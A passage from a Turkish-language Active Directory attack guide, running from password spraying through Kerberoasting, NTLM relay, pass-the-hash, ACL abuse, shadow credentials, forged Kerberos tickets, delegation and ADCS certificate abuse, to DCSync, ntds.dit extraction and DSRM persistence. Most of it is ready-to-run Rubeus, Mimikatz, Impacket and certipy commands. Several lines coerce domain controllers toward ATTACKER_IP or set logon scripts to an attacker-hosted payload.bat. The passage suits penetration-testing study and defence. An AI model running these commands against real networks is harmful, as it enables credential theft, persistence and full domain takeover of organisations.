crackmapexec smb 10.10.10.10 -u users.txt -p 'Sifre2024!' --continue-on-success
crackmapexec smb 10.10.10.10 -u users.txt -p 'Sifre2024!' --no-bruteforce

# Spray.ps1 (Windows)
Invoke-SprayEmptyPassword -UserList users.txt -Domain corp.local

Kritik: Spray öncesi Get-DomainPolicy ile lockoutThreshold değerini kontrol edin. Lockout'tan en az 2 deneme düşük kalın ve her deneme arasında 30+ dakika bekleyin.

2.2 AS-REP Roasting

Nedir? Normal Kerberos'ta istemci, AS-REQ gönderirken kullanıcının NTLM hash'i ile şifrelenmiş bir timestamp ekler (pre-authentication). Bu timestamp KDC'nin kullanıcıyı doğrulamasını sağlar. Ancak UserAccountControl attribute'undaki DONT_REQUIRE_PREAUTH flag'i (0x400000 = UF_DONT_REQUIRE_PREAUTH) aktifse, KDC bu doğrulamayı atlar ve herkes o kullanıcı için AS-REP hash'i talep edebilir. Bu hash çevrimdışı kırılabilir.

Tespit: LDAP filter: (userAccountControl:1.2.840.113556.1.4.803:=4194304)

# PowerView ile tespit
Get-DomainUser -UACFilter DONT_REQUIRE_PREAUTH | select samaccountname, useraccountcontrol

# Rubeus ile hash toplama (Windows)
Rubeus.exe asreproast /nowrap /format:hashcat
Rubeus.exe asreproast /user:svc_backup /nowrap   # Belirli kullanıcı için

# Belirli bir şifreleme türü zorlamak (AES256 yerine RC4 — daha hızlı kırılır)
Rubeus.exe asreproast /nowrap /format:hashcat /rc4opsec

# Impacket GetNPUsers.py (Linux'tan)
python3 GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10 -outputfile asrep_hashes.txt
python3 GetNPUsers.py corp.local/jdoe:Password123 -request -format hashcat -outputfile asrep_hashes.txt

# Hashcat ile kırma
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

msDS-SupportedEncryptionTypes ile ilişki:

Eğer hesabın msDS-SupportedEncryptionTypes değeri 0x17 (RC4_HMAC_MD5 + diğerleri) veya 0x04 (yalnızca RC4) ise, AS-REP hash'i RC4 ile şifrelenir — daha hızlı kırılır. Modern ortamlarda AES256 (0x18) tercih edilir ve daha uzun sürer.

# msDS-SupportedEncryptionTypes = 0 → RC4 default (eski domain)
# msDS-SupportedEncryptionTypes = 4 → yalnızca RC4
# msDS-SupportedEncryptionTypes = 8 → yalnızca AES128
# msDS-SupportedEncryptionTypes = 16 → yalnızca AES256
# msDS-SupportedEncryptionTypes = 28 → RC4 + AES128 + AES256

2.3 Kerberoasting

Nedir? Herhangi bir kimlik doğrulanmış domain kullanıcısı, servicePrincipalName (SPN) attribute'u olan herhangi bir hesap için TGS (Ticket Granting Service) talep edebilir. Bu bilet, ilgili hizmet hesabının NTLM hash'i ile şifrelenir. Saldırgan bileti alır ve çevrimdışı kırar.

Önemli Attribute'lar:

servicePrincipalName — hangi SPN'lerin kayıtlı olduğu
msDS-SupportedEncryptionTypes — şifreleme türü (RC4 = hızlı kırma, AES256 = yavaş)

# PowerView ile SPN'li hesapları bul
Get-DomainUser -SPN | select samaccountname, serviceprincipalname, msds-supportedencryptiontypes, admincount, memberof

# Rubeus (Windows) — tüm SPN'li hesaplar için TGS iste
Rubeus.exe kerberoast /nowrap
Rubeus.exe kerberoast /nowrap /rc4opsec         # RC4 zorla (eski uyumluluk modu)
Rubeus.exe kerberoast /user:svc_sql /nowrap      # Belirli kullanıcı
Rubeus.exe kerberoast /tgtdeleg /nowrap          # TGT delegasyonu ile (noiseless)

# Impacket GetUserSPNs.py (Linux'tan)
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.10 -request -target-domain corp.local

# Hashcat ile kırma
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r rules/d3ad0ne.rule

# AES256 Kerberoast — farklı hashcat modu
hashcat -m 19700 kerberoast_aes.txt wordlist.txt

RC4 Şifreleme Zorlaması (msDS-SupportedEncryptionTypes Manipulation):

GenericWrite hakkı varsa, hedef kullanıcının msDS-SupportedEncryptionTypes attribute'unu RC4 olarak ayarlayarak daha hızlı kırılacak bilet alabilirsiniz:

# msDS-SupportedEncryptionTypes = 4 → yalnızca RC4 (eski)
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=4}
# Kerberoast → RC4 şifrelenmiş bilet alınır → daha hızlı kırma
Rubeus.exe kerberoast /user:svc_sql /nowrap
# Temizlik: eski değere dön
Set-DomainObject -Identity svc_sql -Set @{msds-supportedencryptiontypes=28}

2.4 NTLM Hash Yakalama ve Relay

# Responder — ağda NTLM challenge-response yakala
sudo python3 Responder.py -I eth0 -wrf
# Yakalanan hash → /usr/share/responder/logs/
hashcat -m 5600 ntlmv2_hashes.txt wordlist.txt   # NetNTLMv2

# NTLM Relay — hash'i relay ederek doğrudan erişim
# SMB signing disabled olan hedeflere relay
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support -c "powershell -enc BASE64PAYLOAD"
sudo python3 ntlmrelayx.py -tf targets.txt -smb2support -i   # interactive shell

# Coercion için PetitPotam (DC'yi bize auth etmeye zorla)
python3 PetitPotam.py ATTACKER_IP DC01_IP

Bölüm 3: Lateral Movement

Bir makine ele geçirildikten sonra ağda yayılım başlar.

3.1 Pass-the-Hash (PtH)

# Impacket araçları ile PtH
python3 psexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 wmiexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 smbexec.py -hashes :NT_HASH administrator@10.10.10.10
python3 atexec.py -hashes :NT_HASH administrator@10.10.10.10 "whoami"

# CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H NT_HASH --sam
crackmapexec winrm 10.10.10.10 -u administrator -H NT_HASH -x "whoami"

# Evil-WinRM
evil-winrm -i 10.10.10.10 -u administrator -H NT_HASH

# Mimikatz
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:cmd.exe

3.2 Overpass-the-Hash (OPtH)

NT hash → Kerberos TGT. NT hash'i bildiğinizde WinRM veya NTLM devre dışı olan hedeflere Kerberos ile giriş yapabilirsiniz.

# Mimikatz
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:HASH /run:powershell.exe
# Yeni PowerShell penceresinde:
dir \\DC01\C$  # TGT otomatik alınır

# Rubeus
Rubeus.exe asktgt /user:administrator /rc4:HASH /ptt   # TGT al ve enjekte et
Rubeus.exe asktgt /user:administrator /aes256:AES_HASH /ptt

3.3 Pass-the-Ticket (PtT)

# Bellekteki TGT'leri dump et
Rubeus.exe dump /nowrap
Mimikatz: sekurlsa::tickets /export

# TGT'yi başka bir konuma taşı
Rubeus.exe ptt /ticket:BASE64_TICKET
Mimikatz: kerberos::ptt ticket.kirbi

# Tüm bellekteki biletleri listele
klist
Rubeus.exe klist

3.4 Uzaktan Kod Çalıştırma

# WinRM (port 5985/5986)
evil-winrm -i 10.10.10.10 -u jdoe -p 'Password123'

# WMI
python3 wmiexec.py corp.local/administrator:'Password123'@10.10.10.10

# SMB + PsExec (servis oluşturur — gürültülü)
python3 psexec.py corp.local/administrator:'Password123'@10.10.10.10

# DCOM
python3 dcomexec.py corp.local/administrator:'Password123'@10.10.10.10

Bölüm 4: ACL / ACE Tabanlı Ayrıcalık Yükseltme ve Attribute Manipülasyonu

Bu bölüm, AD testlerinin en nüanslı ve sık gözden kaçan alanıdır. Active Directory'de her nesne (kullanıcı, grup, bilgisayar, OU, GPO, domain nesnesi) bir DACL (Discretionary Access Control List) içerir. DACL, o nesne üzerinde hangi güvenilirin (trustee) ne tür erişime sahip olduğunu belirleyen ACE (Access Control Entry) listesidir.

Bir saldırgan, düşük yetkili bir hesapta belirli ACE'leri tespit ederse, bu ACE'leri kullanarak üst yetki elde edebilir ve kritik AD attribute'larını manipüle edebilir.

4.1 Tehlikeli ACE Türleri

ACE	Nesne Türü	Saldırı Etkisi
`GenericAll`	User, Group, Computer, GPO	Tam kontrol — tüm alt saldırılar mümkün
`GenericWrite`	User, Computer	Belirli attribute'ları yaz
`WriteDACL`	Herhangi	DACL'a yeni ACE ekle → kendine izin ver
`WriteOwner`	Herhangi	Nesnenin sahibini değiştir → WriteDACL al
`AllExtendedRights`	User, Computer	ForceChangePassword, LAPS oku
`ForceChangePassword`	User	Eski şifre bilmeden şifre değiştir
`AddMember`	Group	Gruba üye ekle
`Self`	Group	Kendini gruba ekle
`WriteProperty (member)`	Group	Grup üyeliğini yaz
`ReadProperty (ms-Mcs-AdmPwd)`	Computer	LAPS şifresini oku
`DS-Replication-Get-Changes + All`	Domain	DCSync hakkı

# Bir kullanıcı üzerindeki tüm ACE'leri listele
Get-DomainObjectAcl -Identity jdoe -ResolveGUIDs | Where-Object {
  $_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite|AllExtendedRights"
}

# Kendi hesabımızın sahip olduğu tüm ilginç ACE'leri bul
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
  $_.IdentityReferenceName -match "jdoe|IT_Helpdesk"
}

# BloodHound ile — owned olarak işaretli kullanıcıdan DA'ya outbound edges
# Queries → Shortest Paths from Owned Principals

4.2 GenericAll — Tam Kontrol

User üzerinde GenericAll:

# Şifre değiştirme (ForceChangePassword)
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)

# SPN set edip Kerberoast (servicePrincipalName attribute)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='fake/service.corp.local'}
Rubeus.exe kerberoast /user:target_user /nowrap
Set-DomainObject -Identity target_user -Clear serviceprincipalname  # temizlik

# Shadow Credentials (aşağıda detaylı)
Whisker.exe add /target:target_user

# Hesap devre dışı bırakma / etkinleştirme (userAccountControl)
Set-DomainObject -Identity target_user -Set @{useraccountcontrol=512}  # aktif et

Group üzerinde GenericAll:

# Domain Admins grubuna üye ekle
Add-DomainGroupMember -Identity "Domain Admins" -Members jdoe
net group "Domain Admins" jdoe /add /domain

Computer üzerinde GenericAll:

# RBCD için msDS-AllowedToActOnBehalfOfOtherIdentity attribute'unu yaz
# (Aşağıda Bölüm 6'da detaylı)

4.3 GenericWrite — Seçici Yazma

# logonScript attribute'unu değiştir → kullanıcı login'de script çalışır
Set-DomainObject -Identity target_user -Set @{scriptpath='\\attacker\share\payload.bat'}

# SPN manipulation (Kerberoasting için)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='http/fakesvc.corp.local'}

# Computer üzerinde GenericWrite → RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
$sid = (Get-DomainComputer FAKEMACHINE).objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sdBytes}

4.4 WriteDACL — DACL Manipülasyonu

# Domain nesnesi üzerinde WriteDACL varsa → DCSync hakları ekle
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe `
  -Rights DCSync -Verbose

# Belirli hakları ayrı ayrı ekle
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity jdoe `
  -Rights All -Verbose

# Kullanıcı üzerinde WriteDACL → kendine GenericAll ekle
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity jdoe `
  -Rights All -Verbose

4.5 WriteOwner — Sahiplik Alma

# Nesnenin sahibini kendimiz yapıyoruz
Set-DomainObjectOwner -Identity target_user -OwnerIdentity jdoe

# Sahibi olarak WriteDACL ekleyebiliriz
Add-DomainObjectAcl -TargetIdentity target_user -PrincipalIdentity jdoe -Rights All

4.6 Shadow Credentials — msDS-KeyCredentialLink Attribute

Shadow Credentials, 2021 yılında Elad Shamir tarafından keşfedilen bir tekniktir. Hedef kullanıcı veya bilgisayar üzerinde GenericAll ya da GenericWrite hakkınız varsa, msDS-KeyCredentialLink attribute'una kendi sertifikanızın hash'ini ekleyebilirsiniz. Bu, Windows Hello for Business (WHfB) altyapısını kullanır; PKINIT ile hedef hesabın TGT'sini alabilir ve oradan NT hash'e ulaşırsınız — şifreyi bilmeden.

# Windows — Whisker
Whisker.exe add /target:svc_sql
# Çıktı: Rubeus.exe asktgt /user:svc_sql /certificate:BASE64 /password:"" /domain:corp.local /ptt

# Rubeus ile TGT al
Rubeus.exe asktgt /user:svc_sql /certificate:BASE64 /password:"random" /domain:corp.local /ptt

# NT hash al (U2U PKINIT)
Rubeus.exe getnthash /ticket:BASE64_TGT /certificate:BASE64_CERT /password:"random"

# Linux — pywhisker
python3 pywhisker.py -d corp.local -u jdoe -p 'Password123' --target svc_sql --action add

# gettgtpkinit.py ile TGT al
python3 gettgtpkinit.py corp.local/svc_sql -cert-pem cert.pem -key-pem key.pem svc_sql.ccache

# NT hash al
python3 getnthash.py corp.local/svc_sql -key 'AES_SESSION_KEY'

Neden Güçlü? Şifre değiştirmeden çalışır. Antivirus/EDR tetiklemez. Kerberos kimlik doğrulama akışı normaldir. Kalıcılık sağlar (attribute silinmeden çalışmaya devam eder).

Silmek için: Whisker.exe remove /target:svc_sql /deviceid:GUID

4.7 adminCount Attribute ve AdminSDHolder

AD'de belirli yüksek yetkili grupların (Domain Admins, Schema Admins, Enterprise Admins, Backup Operators vb.) üyeleri için adminCount=1 attribute'u otomatik olarak set edilir. Bu hesaplar, AdminSDHolder nesnesiyle korunur.

# adminCount=1 olan tüm hesaplar
Get-DomainUser -AdminCount | select samaccountname, admincount, memberof
Get-DomainGroup -AdminCount | select name, admincount

# AdminSDHolder ACL'si — bu nesneye yazma = tüm korunan hesaplara kalıcı erişim
Get-DomainObjectAcl "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -ResolveGUIDs

# AdminSDHolder'a GenericAll ekle → saatlik SDProp çalışması ile tüm korunan hesaplara yayılır
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
  -PrincipalIdentity jdoe -Rights All

# Manuel SDProp tetikleme (60dk beklemeden)
Invoke-ADSDPropagation  # veya regsvrtools

Savunma: Protected Users grubundaki hesaplar SDProp'tan etkilenmez ama AdminSDHolder ACL'si hâlâ tehlikelidir.

4.8 SPN Manipülasyonu (servicePrincipalName)

GenericWrite hakkınız varsa, herhangi bir kullanıcıya SPN ekleyebilirsiniz. Bu, onu Kerberoasting hedefine dönüştürür.

# SPN ekle
Set-DomainObject -Identity jdoe -Set @{serviceprincipalname='http/fake.corp.local'}

# SPN sil (test sonrası temizlik)
Set-DomainObject -Identity jdoe -Clear serviceprincipalname

4.9 logonScript ve scriptPath Attribute Abuse

# GenericWrite → logon script belirle → kullanıcı login'de çalışır
Set-ADUser -Identity target_user -ScriptPath '\\attacker_ip\share\payload.bat'
Set-DomainObject -Identity target_user -Set @{scriptpath='\\10.10.10.50\share\payload.bat'}

Bölüm 5: Kerberos Bilet Saldırıları

5.1 Golden Ticket

Domain Controller üzerinde krbtgt hash'i ele geçirildiğinde, saldırgan herhangi bir kullanıcı için sahte TGT (Golden Ticket) oluşturabilir. KDC bu bileti doğrulayamaz çünkü kendi krbtgt hash'i ile imzalanmıştır.

Gereksinimler:

krbtgt NTLM hash (DCSync ile alınır)
Domain SID (whoami /user veya Get-DomainSID)
Hedef kullanıcı adı (var olmayan da olabilir)
Domain FQDN

# Domain SID öğren
Get-DomainSID   # PowerView
whoami /user    # SID'in S-1-5-21-XXXX-YYYY-ZZZZ-500 kısmını kullan

# Mimikatz — Golden Ticket oluştur ve belleğe enjekte et
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /krbtgt:KRBTGT_HASH /ptt

# Rubeus — Golden Ticket oluştur
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /ptt

# Dosyaya kaydet
Rubeus.exe golden /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /outfile:golden.kirbi
Rubeus.exe ptt /ticket:golden.kirbi

Kalıcılık: krbtgt hash değişmediği sürece Golden Ticket geçerlidir. Sıfırlama sonrası bile eski hash'le oluşturulmuş biletler ~20 dakika geçerli kalabilir. Tamamen temizlemek için krbtgt şifresi 2 kez değiştirilmelidir (zira eski hash yedekte tutulur).

5.2 Silver Ticket

Bir hizmet hesabının NTLM hash'ini bildiğinizde, o hizmet için sahte TGS (Silver Ticket) oluşturabilirsiniz. KDC'ye hiç dokunmaz — tespit edilmesi çok zordur.

# Mimikatz — Silver Ticket
kerberos::silver /user:Administrator /domain:corp.local /sid:S-1-5-21-XXX /target:fileserver.corp.local /service:cifs /rc4:SERVICE_HASH /ptt

# Rubeus — Silver Ticket
Rubeus.exe silver /rc4:SERVICE_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:Administrator /service:cifs/fileserver.corp.local /ptt

Yaygın SPN hedefleri:

cifs/DC01.corp.local — dosya paylaşımı erişimi
host/DC01.corp.local — WMI, scheduled task
rpcss/DC01.corp.local — WMI
ldap/DC01.corp.local — DCSync (krbtgt hash'i olmadan bile)
http/intranet.corp.local — web uygulaması

5.3 Diamond Ticket

Sahte TGT oluşturmak yerine, mevcut geçerli bir TGT'yi krbtgt key ile decrypt edip içini değiştirip tekrar şifreleriz. Tespit sistemleri için daha gerçekçi görünür.

Rubeus.exe diamond /rc4:KRBTGT_HASH /domain:corp.local /sid:S-1-5-21-XXX /user:lowprivuser /ticket:BASE64_TGT /krbkey:AES256_KRBTGT /ptt

5.4 Skeleton Key

Domain Controller'a mimikatz ile Skeleton Key yüklenir. Bundan sonra tüm hesaplar için ek şifre olarak mimikatz çalışır. Reboot sonrası kaybolur.

# DC üzerinde (Remote kod çalıştırma gerekli)
privilege::debug
misc::skeleton
# Artık corp.local\administrator:mimikatz ile giriş yapılabilir

Bölüm 6: Delegation Saldırıları

Kerberos Delegation, bir kullanıcının Kerberos biletinin bir hizmet tarafından başka bir hizmete iletilmesine izin verir. Üç türü vardır ve her biri farklı saldırı yüzeyi sunar.

6.1 Unconstrained Delegation

Attribute: TrustedForDelegation = TRUE (UserAccountControl bit 0x80000)

Kullanıcı bu bilgisayardaki bir hizmete authenticate olduğunda, o kullanıcının TGT'si bellekte saklanır. Saldırgan makineyi ele geçirirse bellekteki tüm TGT'leri dump edebilir.

# Unconstrained delegation aktif bilgisayarları bul (DC'ler hariç)
Get-DomainComputer -Unconstrained | select name, dnshostname, operatingsystem

# Bellekteki TGT'leri dump et (local admin gerekli)
Rubeus.exe dump /nowrap
Mimikatz: sekurlsa::tickets /export

# DC TGT'sini çalmak için coerce saldırısı + monitor
Rubeus.exe monitor /interval:5 /nowrap   # bir pencerede bekle

# Başka pencerede: DC'yi bize auth etmeye zorla
python3 PetitPotam.py WEBSERVER01_IP DC01_IP   # MS-EFSR
# veya
python3 SpoolSample.py DC01 WEBSERVER01         # MS-RPRN Printer Bug

# DC TGT geldi → inject et
Rubeus.exe ptt /ticket:BASE64_DC_TGT

# DCSync çalıştır
python3 secretsdump.py -k -no-pass DC01.corp.local

6.2 Constrained Delegation

Attribute: msDS-AllowedToDelegateTo — belirli SPN listesi

Hizmet hesabı, yalnızca bu listedeki SPN'lere kullanıcı adına erişebilir. Protocol transition (S4U2Self) aktifse, hesap herhangi bir kullanıcı adına TGS alabilir.

# Constrained delegation ile hesapları bul
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto

# Impacket findDelegation.py
python3 findDelegation.py corp.local/jdoe:Password123

# Rubeus — S4U2Self + S4U2Proxy
Rubeus.exe s4u /user:svc_web /rc4:HASH_OF_SVC_WEB /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt
# veya AES hash ile
Rubeus.exe s4u /user:svc_web /aes256:AES_HASH /impersonateuser:Administrator /msdsspn:CIFS/DC01.corp.local /ptt

# Erişim testi
dir \\DC01.corp.local\C$

6.3 Resource-Based Constrained Delegation (RBCD)

Attribute: msDS-AllowedToActOnBehalfOfOtherIdentity — hedef bilgisayar üzerinde set edilir

RBCD'nin anahtarı: kaynağın (hedef bilgisayar) üzerinde GenericWrite veya WriteDACL hakkınız olması yeterlidir. Saldırgan bir makine hesabı oluşturur, hedef bilgisayarın bu attribute'una kendi makine hesabını yazar ve S4U ile yönetici bileti alır.

Ön Koşullar:

msDS-MachineAccountQuota ≥ 1 (default: 10, domain kullanıcıları makine hesabı oluşturabilir)
Hedef bilgisayar üzerinde GenericWrite / GenericAll / WriteDACL

# 1. Makine hesabı kota kontrolü
Get-DomainObject -Identity "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota

# 2. Makine hesabı oluştur (PowerMad)
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKEMACHINE -Password (ConvertTo-SecureString 'FakePass123!' -AsPlainText -Force)

# 3. Makine hesabının SID'ini al
$machineSid = (Get-DomainComputer FAKEMACHINE).objectsid

# 4. Hedef bilgisayarda msDS-AllowedToActOnBehalfOfOtherIdentity set et
$sd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$machineSid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength); $sd.GetBinaryForm($sdBytes, 0)
Set-DomainComputer TARGET_COMPUTER -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sdBytes}

# Doğrulama
Get-DomainComputer TARGET_COMPUTER -Properties msds-allowedtoactonbehalfofotheridentity

# 5. S4U2Self + S4U2Proxy (Rubeus)
$fakehash = (Get-Domain).Name  # RC4 hash hesapla
Rubeus.exe hash /password:FakePass123! /user:FAKEMACHINE$ /domain:corp.local
Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:HASH_FROM_ABOVE /impersonateuser:Administrator /msdsspn:cifs/TARGET_COMPUTER.corp.local /ptt

# 6. Erişim testi
dir \\TARGET_COMPUTER.corp.local\C$

# Linux — Impacket ile RBCD saldırısı
python3 rbcd.py corp.local/jdoe:'Password123' -action write -delegate-from 'FAKEMACHINE$' -delegate-to 'TARGET_COMPUTER$'
python3 getST.py corp.local/'FAKEMACHINE$':'FakePass123!' -spn cifs/TARGET_COMPUTER.corp.local -impersonate Administrator
export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -k -no-pass TARGET_COMPUTER.corp.local

Bölüm 7: AD Certificate Services (ADCS) Saldırıları

ADCS, kurumsal PKI altyapısı sağlar. Yanlış yapılandırılmış sertifika şablonları, domain yöneticisi seviyesinde kimlik taklidi imkânı tanır.

7.1 Keşif

# Certipy ile ADCS keşfi
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -vulnerable -stdout
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -old-bloodhound -output adcs_bh

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u jdoe -p 'Password123' -M adcs

# Certify (Windows)
Certify.exe find /vulnerable /currentuser

7.2 ESC1 — ENROLLEE_SUPPLIES_SUBJECT + Client Auth

Koşullar:

Şablon flag'i: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set
EKU: Client Authentication veya Smart Card Logon
Yönetici onayı yok
Domain kullanıcıları kayıt olabilir

# Sertifika iste — SAN olarak Administrator@corp.local belirt
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template VulnerableTemplate \
  -upn administrator@corp.local -dc-ip 10.10.10.10

# Sertifikayla kimlik doğrula → NT hash + TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain corp.local

# NT hash ile PTH
python3 secretsdump.py -hashes :NT_HASH administrator@10.10.10.10

7.3 ESC2 — Any Purpose EKU

Şablonun EKU'su Any Purpose ise, sertifika Enrollment Agent olarak kullanılabilir ve ESC3 saldırısına geçilebilir.

7.4 ESC3 — Certificate Request Agent

# Adım 1: Enrollment Agent sertifikası al (ESC3 şablonundan)
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template ESC3Template

# Adım 2: Enrollment Agent sertifikasıyla başka kullanıcı adına sertifika iste
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template User \
  -on-behalf-of 'corp\administrator' -pfx agent.pfx -dc-ip 10.10.10.10

7.5 ESC4 — Template ACL Abuse

Şablon üzerinde WriteDACL/GenericWrite varsa, şablonu ESC1'e dönüştürebilirsiniz.

# ESC4: şablonu değiştir → ESC1'e dönüştür → ESC1 saldırısını yap → geri al
certipy template -u jdoe@corp.local -p 'Password123' -template VulnerableTemplate \
  -save-old -dc-ip 10.10.10.10

# Şimdi ESC1 saldırısı yap
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template VulnerableTemplate \
  -upn administrator@corp.local -dc-ip 10.10.10.10

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

# Temizlik: eski şablon ayarlarını geri yükle
certipy template -u jdoe@corp.local -p 'Password123' -template VulnerableTemplate \
  -configuration old_config.json -dc-ip 10.10.10.10

7.6 ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

CA seviyesinde bu flag aktifse, tüm şablonlar ESC1 gibi davranır.

# CA flag kontrolü
certipy find -u jdoe@corp.local -p 'Password123' -dc-ip 10.10.10.10 -stdout | grep -i "ATTRIBUTESUBJECTALTNAME2"

# Flag aktifse, herhangi bir Client Auth şablonunda SAN belirtebilirsiniz
certipy req -u jdoe@corp.local -p 'Password123' -ca CORP-CA -template User \
  -upn administrator@corp.local -dc-ip 10.10.10.10

7.7 ESC8 — NTLM Relay → AD CS HTTP

AD CS HTTP enrollment endpoint'i (certsrv) NTLM kimlik doğrulamasını kabul ediyorsa, saldırgan DC'yi coerce ederek DC'nin NTLM kimlik bilgilerini ADCS'e relay edebilir ve DC adına sertifika alabilir.

# 1. NTLM relay başlat — ADCS HTTP'ye relay
python3 ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp --adcs \
  --template DomainController

# 2. DC'yi coerce et (PetitPotam — MS-EFSR)
python3 PetitPotam.py ATTACKER_IP DC01_IP
# veya
python3 dfscoerce.py ATTACKER_IP DC01_IP          # MS-DFSNM
python3 shadowcoerce.py ATTACKER_IP DC01_IP        # MS-FSRVP

# 3. Relay sertifikayı alır (base64) → dosyaya kaydet
# 4. DC sertifikasıyla kimlik doğrula → NT hash
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 -domain corp.local

# 5. DCSync
python3 secretsdump.py -hashes :DC01_NT_HASH 'corp.local/DC01$@10.10.10.10'

Bölüm 8: DCSync ve Domain Ele Geçirme

DCSync, Domain Controller olmadan replication API'sini kullanarak tüm domain hash'lerini dökmektir. İki temel hak gerektirir.

8.1 Gerekli Haklar

# Mevcut DCSync hakkı olanları bul
Get-DomainObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object {
  $_.ObjectAceType -match "DS-Replication-Get-Changes" -and
  $_.ActiveDirectoryRights -match "ExtendedRight"
} | select IdentityReferenceName, ObjectAceType

# DCSync için gereken 3 genişletilmiş hak:
# - DS-Replication-Get-Changes         (1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
# - DS-Replication-Get-Changes-All     (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
# - DS-Replication-Get-Changes-In-Filtered-Set (89e95b76-444d-4c62-991a-0facbeda640c)

8.2 DCSync Saldırısı

# Impacket secretsdump.py (Linux — en yaygın)
python3 secretsdump.py corp.local/jdoe:'Password123'@10.10.10.10
python3 secretsdump.py corp.local/jdoe:'Password123'@dc01.corp.local -just-dc
python3 secretsdump.py corp.local/jdoe:'Password123'@dc01.corp.local -just-dc-ntlm
python3 secretsdump.py corp.local/jdoe:'Password123'@dc01.corp.local -just-dc-user krbtgt

# Mimikatz (Windows — DC'ye network erişim gerekli)
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv

8.3 ntds.dit Çıkarma (Volume Shadow Copy)

DC'ye local erişim varsa, ntds.dit dosyasını doğrudan kopyalayabilirsiniz.

REM Gölge kopya oluştur
vssadmin create shadow /for=C:

REM ntds.dit ve SYSTEM hive'ını kopyala
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive

REM Saldırı makinesine aktar

# Impacket ile çözümle
python3 secretsdump.py -ntds ntds.dit -system SYSTEM.hive LOCAL -outputfile domain_hashes

8.4 DSRM Account (Local DC Admin)

DSRM (Directory Services Restore Mode), DC'nin yerel yönetici hesabıdır. Genelde devre dışıdır ama çalıştırılabilir.

# DC üzerinde DSRM hesabını aktifleştir
# HKLM\System\CurrentControlSet\Control\Lsa\ → DsrmAdminLogonBehavior = 2
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

# DSRM şifresini set et (DC üzerinde)
ntdsutil "set dsrm password" "reset password on server null" quit quit

# DC'ye yerel admin olarak bağlan
crackmapexec smb DC01 -u Administrator -H DSRM_NTLM_HASH --local-auth

Bölüm 9: Kritik CVE'ler

9.1 ZeroLogon (CVE-2020-1472)

